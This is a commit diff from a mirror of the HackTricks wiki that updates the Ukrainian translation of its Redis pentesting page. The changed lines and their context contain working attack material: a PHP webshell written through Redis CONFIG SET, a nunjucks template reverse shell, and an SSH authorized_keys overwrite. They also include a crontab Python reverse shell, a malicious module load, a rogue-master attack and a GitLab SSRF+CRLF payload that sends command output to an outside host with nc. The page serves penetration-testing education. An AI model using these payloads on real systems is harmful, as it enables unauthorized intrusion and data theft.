mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/6379-pentesting-redis.md']
This commit is contained in:
parent
740fcc5872
commit
c4a80fc2d5
@ -4,7 +4,7 @@
|
||||
|
||||
## Основна інформація
|
||||
|
||||
З [документації](https://redis.io/topics/introduction): Redis - це відкритий код (ліцензія BSD), сховище **структур даних** в пам'яті, яке використовується як **база даних**, кеш і брокер повідомлень.
|
||||
З [документації](https://redis.io/topics/introduction): Redis - це відкритий код (ліцензія BSD), в пам'яті **сховище структур даних**, яке використовується як **база даних**, кеш і брокер повідомлень.
|
||||
|
||||
За замовчуванням Redis використовує протокол на основі простого тексту, але ви повинні пам'ятати, що він також може реалізувати **ssl/tls**. Дізнайтеся, як [запустити Redis з ssl/tls тут](https://fossies.org/linux/redis/TLS.md).
|
||||
|
||||
@ -45,9 +45,9 @@ redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
|
||||
|
||||
> [!NOTE]
|
||||
> Якщо налаштовано лише пароль, то використовується ім'я користувача "**default**".\
|
||||
> Також зверніть увагу, що **немає способу дізнатися зовні**, чи був Redis налаштований лише з паролем або з іменем користувача + паролем.
|
||||
> Також зверніть увагу, що **немає способу дізнатися зовні**, чи був Redis налаштований лише з паролем або з ім'ям користувача + паролем.
|
||||
|
||||
У таких випадках вам **потрібно знайти дійсні облікові дані**, щоб взаємодіяти з Redis, тому ви можете спробувати [**brute-force**](../generic-hacking/brute-force.md#redis) його.\
|
||||
У таких випадках вам **потрібно знайти дійсні облікові дані** для взаємодії з Redis, тому ви можете спробувати [**brute-force**](../generic-hacking/brute-force.md#redis).\
|
||||
**Якщо ви знайшли дійсні облікові дані, вам потрібно аутентифікувати сесію** після встановлення з'єднання за допомогою команди:
|
||||
```bash
|
||||
AUTH <username> <password>
|
||||
@ -73,13 +73,13 @@ rename-command FLUSHDB ""
|
||||
```
|
||||
Більше про безпечну конфігурацію служби Redis тут: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
|
||||
|
||||
Ви також можете **моніторити в реальному часі команди Redis**, виконані за допомогою команди **`monitor`**, або отримати **25 найповільніших запитів** за допомогою **`slowlog get 25`**
|
||||
Ви також можете **моніторити в реальному часі команди Redis**, виконані за допомогою команди **`monitor`**, або отримати топ **25 найповільніших запитів** за допомогою **`slowlog get 25`**
|
||||
|
||||
Знайдіть більше цікавої інформації про інші команди Redis тут: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
|
||||
|
||||
### **Вивантаження бази даних**
|
||||
|
||||
У Redis **бази даних - це числа, що починаються з 0**. Ви можете дізнатися, чи використовується якась з них, у виході команди `info` в частині "Keyspace":
|
||||
Всередині Redis **бази даних - це числа, що починаються з 0**. Ви можете дізнатися, чи використовується якась з них, з виходу команди `info` в частині "Keyspace":
|
||||
|
||||
.png>)
|
||||
|
||||
@ -87,7 +87,7 @@ rename-command FLUSHDB ""
|
||||
```
|
||||
INFO keyspace
|
||||
```
|
||||
У цьому прикладі використовуються **бази даних 0 та 1**. **База даних 0 містить 4 ключі, а база даних 1 містить 1**. За замовчуванням Redis використовує базу даних 0. Щоб, наприклад, скинути базу даних 1, вам потрібно зробити:
|
||||
У цьому прикладі використовуються **бази даних 0 та 1**. **База даних 0 містить 4 ключі, а база даних 1 містить 1**. За замовчуванням Redis використовуватиме базу даних 0. Щоб, наприклад, скинути базу даних 1, вам потрібно зробити:
|
||||
```bash
|
||||
SELECT 1
|
||||
[ ... Indicate the database ... ]
|
||||
@ -96,9 +96,9 @@ KEYS *
|
||||
GET <KEY>
|
||||
[ ... Get Key ... ]
|
||||
```
|
||||
У випадку, якщо ви отримаєте наступну помилку `-WRONGTYPE Operation against a key holding the wrong kind of value` під час виконання `GET <KEY>`, це може бути через те, що ключ може бути чимось іншим, ніж рядком або цілим числом, і вимагає спеціального оператора для його відображення.
|
||||
У разі отримання наступної помилки `-WRONGTYPE Operation against a key holding the wrong kind of value` під час виконання `GET <KEY>`, це може бути через те, що ключ може бути чимось іншим, ніж рядком або цілим числом, і для його відображення потрібен спеціальний оператор.
|
||||
|
||||
Щоб дізнатися тип ключа, використовуйте команду `TYPE`, приклад нижче для спискових та хеш-ключів.
|
||||
Щоб дізнатися тип ключа, використовуйте команду `TYPE`, приклад нижче для ключів списку та хешу.
|
||||
```bash
|
||||
TYPE <KEY>
|
||||
[ ... Type of the Key ... ]
|
||||
@ -110,7 +110,7 @@ HGET <KEY> <FIELD>
|
||||
# If the type used is weird you can always do:
|
||||
DUMP <key>
|
||||
```
|
||||
**Вивантажте базу даних за допомогою npm** [**redis-dump**](https://www.npmjs.com/package/redis-dump) **або python** [**redis-utils**](https://pypi.org/project/redis-utils/)
|
||||
**Вивантажте базу даних за допомогою npm**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **або python** [**redis-utils**](https://pypi.org/project/redis-utils/)
|
||||
|
||||
## Redis RCE
|
||||
|
||||
@ -122,7 +122,7 @@ DUMP <key>
|
||||
```
|
||||
### PHP Webshell
|
||||
|
||||
Інформація з [**тут**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). Ви повинні знати **шлях** до **папки веб-сайту**:
|
||||
Info from [**here**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). Ви повинні знати **шлях** до **папки веб-сайту**:
|
||||
```
|
||||
root@Urahara:~# redis-cli -h 10.85.0.52
|
||||
10.85.0.52:6379> config set dir /usr/share/nginx/html
|
||||
@ -136,11 +136,11 @@ OK
|
||||
```
|
||||
Якщо виникає виняток доступу до веб-оболонки, ви можете очистити базу даних після резервного копіювання і спробувати знову, не забувайте відновити базу даних.
|
||||
|
||||
### Шаблон веб-оболонки
|
||||
### Шаблон Вебоболонки
|
||||
|
||||
Як і в попередньому розділі, ви також можете перезаписати деякий html шаблон, який буде інтерпретовано шаблонним двигуном, і отримати оболонку.
|
||||
Як і в попередньому розділі, ви також можете перезаписати деякий html шаблонний файл, який буде інтерпретовано шаблонним двигуном, і отримати оболонку.
|
||||
|
||||
Наприклад, слідуючи [**цьому опису**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), ви можете побачити, що зловмисник вставив **rev shell в html**, інтерпретованому **двигуном шаблонів nunjucks:**
|
||||
Наприклад, слідуючи [**цьому опису**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), ви можете побачити, що зловмисник вставив **rev shell в html**, який інтерпретується **двигуном шаблонів nunjucks:**
|
||||
```javascript
|
||||
{{ ({}).constructor.constructor(
|
||||
"var net = global.process.mainModule.require('net'),
|
||||
@ -164,8 +164,8 @@ sh.stderr.pipe(client);
|
||||
Будь ласка, зверніть увагу, що результат **`config get dir`** може змінитися після інших ручних експлуатаційних команд. Рекомендується виконати його спочатку відразу після входу в Redis. У виході **`config get dir`** ви можете знайти **домашню** директорію **користувача redis** (зазвичай _/var/lib/redis_ або _/home/redis/.ssh_), і знаючи це, ви знаєте, куди можна записати файл `authenticated_users` для доступу через ssh **з користувачем redis**. Якщо ви знаєте домашню директорію іншого дійсного користувача, де у вас є права на запис, ви також можете зловживати цим:
|
||||
|
||||
1. Згенеруйте пару ssh публічного-приватного ключа на вашому ПК: **`ssh-keygen -t rsa`**
|
||||
2. Запишіть публічний ключ у файл : **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
|
||||
3. Імпортуйте файл у redis : **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
|
||||
2. Запишіть публічний ключ у файл: **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
|
||||
3. Імпортуйте файл у redis: **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
|
||||
4. Збережіть публічний ключ у файлі **authorized_keys** на сервері redis:
|
||||
|
||||
```
|
||||
@ -178,10 +178,12 @@ OK
|
||||
OK
|
||||
```
|
||||
|
||||
5. Нарешті, ви можете **ssh** на **сервер redis** з приватним ключем : **ssh -i id_rsa redis@10.85.0.52**
|
||||
5. Нарешті, ви можете **ssh** на **сервер redis** з приватним ключем: **ssh -i id_rsa redis@10.85.0.52**
|
||||
|
||||
**Ця техніка автоматизована тут:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
|
||||
|
||||
Крім того, системних користувачів також можна виявити, перевіривши з `config set dir /home/USER`, і після підтвердження новий `authorized_keys` можна записати в `/home/USER/.ssh/authorized_keys`. Використовуйте [redis-rce-ssh](https://github.com/captain-woof/redis-rce-ssh) для брутфорсу цього з wordlist імен користувачів та перезапису `authorized_keys`.
|
||||
|
||||
### Crontab
|
||||
```
|
||||
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
|
||||
@ -202,7 +204,7 @@ OK
|
||||
1. Дотримуючись інструкцій з [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand), ви можете **скомпілювати модуль redis для виконання довільних команд**.
|
||||
2. Потім вам потрібен спосіб **завантажити скомпільований** модуль.
|
||||
3. **Завантажте завантажений модуль** під час виконання з `MODULE LOAD /path/to/mymodule.so`.
|
||||
4. **Перерахуйте завантажені модулі**, щоб перевірити, чи був він правильно завантажений: `MODULE LIST`.
|
||||
4. **Перегляньте завантажені модулі**, щоб перевірити, чи був він правильно завантажений: `MODULE LIST`.
|
||||
5. **Виконайте** **команди**:
|
||||
|
||||
```
|
||||
@ -213,19 +215,19 @@ OK
|
||||
127.0.0.1:6379> system.rev 127.0.0.1 9999
|
||||
```
|
||||
|
||||
6. Вивантажте модуль, коли захочете: `MODULE UNLOAD mymodule`.
|
||||
6. Вивантажте модуль, коли завгодно: `MODULE UNLOAD mymodule`.
|
||||
|
||||
### Обхід пісочниці LUA
|
||||
|
||||
[**Тут**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) ви можете побачити, що Redis використовує команду **EVAL** для виконання **коду Lua в пісочниці**. У пов'язаному пості ви можете побачити **як зловживати цим**, використовуючи функцію **dofile**, але [очевидно](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval), що це більше не можливо. У будь-якому випадку, якщо ви можете **обійти пісочницю Lua**, ви могли б **виконати довільні** команди на системі. Також, з того ж посту ви можете побачити деякі **варіанти для виклику DoS**.
|
||||
[**Тут**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) ви можете побачити, що Redis використовує команду **EVAL** для виконання **коду Lua в пісочниці**. У пов'язаному пості ви можете побачити **як це зловживати**, використовуючи функцію **dofile**, але [очевидно](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval), що це більше не можливо. У будь-якому випадку, якщо ви можете **обійти пісочницю Lua**, ви могли б **виконати довільні** команди на системі. Також, з того ж посту ви можете побачити деякі **варіанти для виклику DoS**.
|
||||
|
||||
Деякі **CVEs для втечі з LUA**:
|
||||
Деякі **CVE для втечі з LUA**:
|
||||
|
||||
- [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543)
|
||||
|
||||
### Модуль Master-Slave
|
||||
|
||||
Головний redis автоматично синхронізує всі операції з slave redis, що означає, що ми можемо вважати вразливість redis як slave redis, підключений до головного redis, який ми контролюємо, тоді ми можемо ввести команду до нашого власного redis.
|
||||
Головний redis автоматично синхронізує всі операції зі slave redis, що означає, що ми можемо розглядати вразливість redis як slave redis, підключений до головного redis, який ми контролюємо, тоді ми можемо ввести команду до нашого власного redis.
|
||||
```
|
||||
master redis : 10.85.0.51 (Hacker's Server)
|
||||
slave redis : 10.85.0.52 (Target Vulnerability Server)
|
||||
@ -237,7 +239,7 @@ redis-cli -h 10.85.0.51 -p 6379
|
||||
set mykey hello
|
||||
set mykey2 helloworld
|
||||
```
|
||||
## SSRF спілкування з Redis
|
||||
## SSRF, що спілкується з Redis
|
||||
|
||||
Якщо ви можете надіслати **текстовий** запит **до Redis**, ви можете **спілкуватися з ним**, оскільки Redis буде читати запит рядок за рядком і просто відповідати помилками на рядки, які не розуміє:
|
||||
```
|
||||
@ -249,20 +251,20 @@ set mykey2 helloworld
|
||||
-ERR unknown command 'Cache-Control:'
|
||||
-ERR unknown command 'Connection:'
|
||||
```
|
||||
Отже, якщо ви знайдете **SSRF vuln** на веб-сайті і зможете **контролювати** деякі **заголовки** (можливо, з вразливістю CRLF) або **POST параметри**, ви зможете надсилати довільні команди до Redis.
|
||||
Тому, якщо ви знайдете **SSRF vuln** на вебсайті і зможете **контролювати** деякі **заголовки** (можливо, з вразливістю CRLF) або **POST параметри**, ви зможете надсилати довільні команди до Redis.
|
||||
|
||||
### Приклад: Gitlab SSRF + CRLF до Shell
|
||||
|
||||
У **Gitlab11.4.7** була виявлена **SSRF** вразливість та **CRLF**. **SSRF** вразливість була в **функціоналі імпорту проекту з URL** під час створення нового проекту і дозволяла отримувати доступ до довільних IP-адрес у формі \[0:0:0:0:0:ffff:127.0.0.1] (це отримує доступ до 127.0.0.1), а вразливість **CRLF** була використана просто **додаванням %0D%0A** символів до **URL**.
|
||||
У **Gitlab11.4.7** була виявлена **SSRF** вразливість та **CRLF**. **SSRF** вразливість була в **функціоналі імпорту проекту з URL** під час створення нового проекту і дозволяла отримувати доступ до довільних IP у формі \[0:0:0:0:0:ffff:127.0.0.1] (це доступ до 127.0.0.1), а **CRLF** вразливість була використана просто **додаванням %0D%0A** символів до **URL**.
|
||||
|
||||
Отже, було можливим **зловживати цими вразливостями, щоб спілкуватися з екземпляром Redis**, який **керує чергами** з **gitlab** і зловживати цими чергами для **отримання виконання коду**. Пейлоад зловживання чергою Redis:
|
||||
Тому стало можливим **зловживати цими вразливостями, щоб спілкуватися з екземпляром Redis**, який **керує чергами** з **gitlab** і зловживати цими чергами для **отримання виконання коду**. Пейлоад зловживання чергою Redis:
|
||||
```
|
||||
multi
|
||||
sadd resque:gitlab:queues system_hook_push
|
||||
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
|
||||
exec
|
||||
```
|
||||
А **URL encode** запит **зловживаючи SSRF** та **CRLF** для виконання `whoami` та відправки виходу через `nc` виглядає так:
|
||||
А **URL encode** запит **зловживаючи SSRF** та **CRLF** для виконання `whoami` та відправлення виходу через `nc` виглядає так:
|
||||
```
|
||||
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
|
||||
```
|
||||
|
Loading…
x
Reference in New Issue
Block a user